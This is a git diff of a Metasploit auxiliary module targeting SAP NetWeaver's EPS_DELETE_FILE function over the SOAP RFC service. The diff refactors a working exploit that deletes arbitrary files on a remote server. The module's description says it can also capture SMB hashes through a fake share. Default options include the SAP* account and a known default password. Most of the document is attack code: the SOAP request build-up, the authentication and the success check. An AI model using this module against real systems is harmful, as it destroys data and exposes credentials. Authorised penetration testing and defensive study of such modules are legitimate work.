@@ -31,24 +31,32 @@ class Metasploit4 < Msf::Auxiliary
31
31
32
32
def initialize
33
33
super (
34
- 'Name' => 'EPS_DELETE_FILE ( File deletion + SMB Relay) ' ,
34
+ 'Name' => 'SAP SOAP EPS_DELETE_FILE File Deletion ' ,
35
35
'Description' => %q{
36
- A vulnerability in the SAP EPS_DELETE_FILE RFC function allows an attacker to delete files remotely
37
- and/or steal hashes using an SMB relay attack.
38
- SAP Note 1554030 / DSECRG-11-031.
39
- } ,
40
- 'References' => [ [ 'URL' , 'http://dsecrg.com/pages/vul/show.php?id=331' ] ] ,
41
- 'Author' => [ 'nmonkee' ] ,
36
+ This module abuses the SAP NetWeaver EPS_DELETE_FILE function, on the SAP SOAP
37
+ RFC Service, to delete arbitrary files on the remote file system. The module can
38
+ also be used to capture SMB hashes by using a fake SMB share as DIRNAME.
39
+ } ,
40
+ 'References' => [
41
+ [ 'OSVDB' , '74780' ] ,
42
+ [ 'URL' , 'http://dsecrg.com/pages/vul/show.php?id=331' ] ,
43
+ [ 'URL' , 'https://service.sap.com/sap/support/notes/1554030' ]
44
+ ] ,
45
+ 'Author' =>
46
+ [
47
+ 'Alexey Sintsov' , # Vulnerability discovery
48
+ 'nmonkee' # Metasploit module
49
+ ] ,
42
50
'License' => MSF_LICENSE
43
51
)
44
52
45
53
register_options ( [
46
- OptString . new ( 'CLIENT' , [ true , 'SAP client ' , nil ] ) ,
47
- OptString . new ( 'USER ' , [ true , 'Username' , nil ] ) ,
48
- OptString . new ( 'PASS ' , [ true , 'Password' , nil ] ) ,
49
- OptString . new ( 'PATH' , [ true , 'File path (e.g. \\\\xx.xx.xx.xx\\share)' , nil ] ) ,
50
- OptString . new ( 'FILENAME' , [ true , 'Filename (e.g. filename.ext )' , nil ] )
51
- ] , self . class )
54
+ OptString . new ( 'CLIENT' , [ true , 'SAP Client ' , '001' ] ) ,
55
+ OptString . new ( 'USERNAME ' , [ true , 'Username' , 'SAP*' ] ) ,
56
+ OptString . new ( 'PASSWORD ' , [ true , 'Password' , '06071992' ] ) ,
57
+ OptString . new ( 'DIRNAME' , [ true , 'Directory Path which contains the file to delete' , '/tmp' ] ) ,
58
+ OptString . new ( 'FILENAME' , [ true , 'Filename to delete' , 'msf.txt' ] )
59
+ ] , self . class )
52
60
end
53
61
54
62
def run_host ( ip )
@@ -59,31 +67,38 @@ def run_host(ip)
59
67
data << '<SOAP-ENV:Header/>'
60
68
data << '<SOAP-ENV:Body>'
61
69
data << '<EPS_DELETE_FILE xmlns="urn:sap-com:document:sap:rfc:functions">'
62
- data << '<DIR_NAME>' + datastore [ 'PATH ' ] + '</DIR_NAME>'
70
+ data << '<DIR_NAME>' + datastore [ 'DIRNAME ' ] + '</DIR_NAME>'
63
71
data << '<FILE_NAME>' + datastore [ 'FILENAME' ] + '</FILE_NAME>'
64
72
data << '<IV_LONG_DIR_NAME></IV_LONG_DIR_NAME>'
65
73
data << '<IV_LONG_FILE_NAME></IV_LONG_FILE_NAME>'
66
74
data << '</EPS_DELETE_FILE>'
67
75
data << '</SOAP-ENV:Body>'
68
76
data << '</SOAP-ENV:Envelope>'
69
- user_pass = Rex :: Text . encode_base64 ( datastore [ 'USER' ] + ":" + datastore [ 'PASS' ] )
77
+
70
78
begin
71
- print_status ( "[SAP] #{ ip } :#{ rport } - sending request for #{ datastore [ 'PATH ' ] } \\ #{ datastore [ 'FILENAME ' ] } ")
72
- res = send_request_raw ( {
73
- 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore [ 'CLIENT' ] + '&sap-language=EN ',
79
+ vprint_status ( " #{ rhost } :#{ rport } - Sending request to delete #{ datastore [ 'FILENAME ' ] } at #{ datastore [ 'DIRNAME ' ] } ")
80
+ res = send_request_cgi ( {
81
+ 'uri' => '/sap/bc/soap/rfc' ,
74
82
'method' => 'POST' ,
75
83
'data' => data ,
76
- 'headers' => {
77
- 'Content-Length' => data . size . to_s ,
84
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
85
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
86
+ 'ctype' => 'text/xml; charset=UTF-8' ,
87
+ 'headers' => {
78
88
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' ,
79
- 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
80
- 'Authorization' => 'Basic ' + user_pass ,
81
- 'Content-Type' => 'text/xml; charset=UTF-8' , }
82
- } , 45 )
83
- if res
84
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error code: " + res . code . to_s )
85
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error title: " + res . message . to_s )
86
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error message: " + res . body . to_s )
89
+ } ,
90
+ 'vars_get' => {
91
+ 'sap-client' => datastore [ 'CLIENT' ] ,
92
+ 'sap-language' => 'EN'
93
+ }
94
+ } )
95
+
96
+ if res and res . code == 200 and res . body =~ /EPS_DELETE_FILE.Response/ and res . body =~ /#{ datastore [ 'DIRNAME' ] } / and res . body =~ /#{ datastore [ 'FILENAME' ] } /
97
+ print_good ( "#{ rhost } :#{ rport } - File #{ datastore [ 'FILENAME' ] } at #{ datastore [ 'DIRNAME' ] } successfully deleted" )
98
+ elsif res
99
+ vprint_error ( "#{ rhost } :#{ rport } - Response code: " + res . code . to_s )
100
+ vprint_error ( "#{ rhost } :#{ rport } - Response message: " + res . message . to_s )
101
+ vprint_error ( "#{ rhost } :#{ rport } - Response body: " + res . body . to_s ) if res . body
87
102
end
88
103
rescue ::Rex ::ConnectionError
89
104
print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
0 commit comments